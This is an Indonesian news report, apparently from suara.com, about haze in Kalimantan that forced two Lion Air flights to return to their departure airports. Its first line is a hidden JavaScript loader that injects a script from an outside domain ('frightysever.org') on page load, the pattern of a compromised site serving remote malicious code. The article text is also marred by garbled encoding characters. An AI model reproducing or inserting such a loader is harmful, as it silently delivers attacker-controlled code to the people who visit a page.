(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

NASIONAL

Kabut Asap di Kalimantan, 2 Pesawat Lion Air Kembali ke Bandara Asal

Gara-garaÃƒâ€šÃ‚Â kabut asap dan jarang pandang yang minim, dua penerbangan Lion Air terpaksa kembali atauÃƒâ€šÃ‚Â return to base.

Hal tersebut terjadi pada penerbangan Lion JT-314 Surabaya (SUB)-Samarinda (AAP) yang kembali keÃƒâ€šÃ‚Â Bandara Juanda, Jawa Timur.

Selain itu, Lion Air penerbangan JT-712 Soekarno-Hatta, Tangerang (CGK)-Pontianak (PNK) kembali ke Soekarno-Hatta, Tangerang (CGK).

Corporate Communications Strategic of Lion Air Group Danang Mandala Prihantoro menjelaskan , keputusan tersebut disebabkan akibat cuaca buruk berupa fog/smoke (kabut asap) yang terjadi di beberapa daerah. (Baca : Dampak Kabut Asap, Wings Air Batalkan 20 Penerbangan)

ÃƒÂ¢Ã¢â€šÂ¬Ã…â€œKondisi ini mengakibatkan jarak pandang pendekÃƒâ€šÃ‚Â (visibility below minimum)Ãƒâ€šÃ‚Â dan tidak memenuhi persyaratan keselamatan penerbangan untuk proses lepas landas dan mendarat,ÃƒÂ¢Ã¢â€šÂ¬Ã‚Â kata Danang dalam keterangan tertulis, Minggu (15/9/2019).

Untuk memastikan keselamatan dan keamanan, Lion Air Group mengalami keterlambatan keberangkatan dan kedatangan (delay), kembali ke bandar udara keberangkatan (return to base/ RTB), pengalihan pendaratan (divert) serta melakukan pembatalan penerbangan (cancel), di beberapa jaringan doemstik yang dilayani.

Lion Air Group menegaskan, bahwa berdasarkan situasi yang terjadi seluruh operasional dijalankan berdasarkan standar operasional prosedur (SOP). (suara.com)

Reporter : Suara.com
Editor : Kk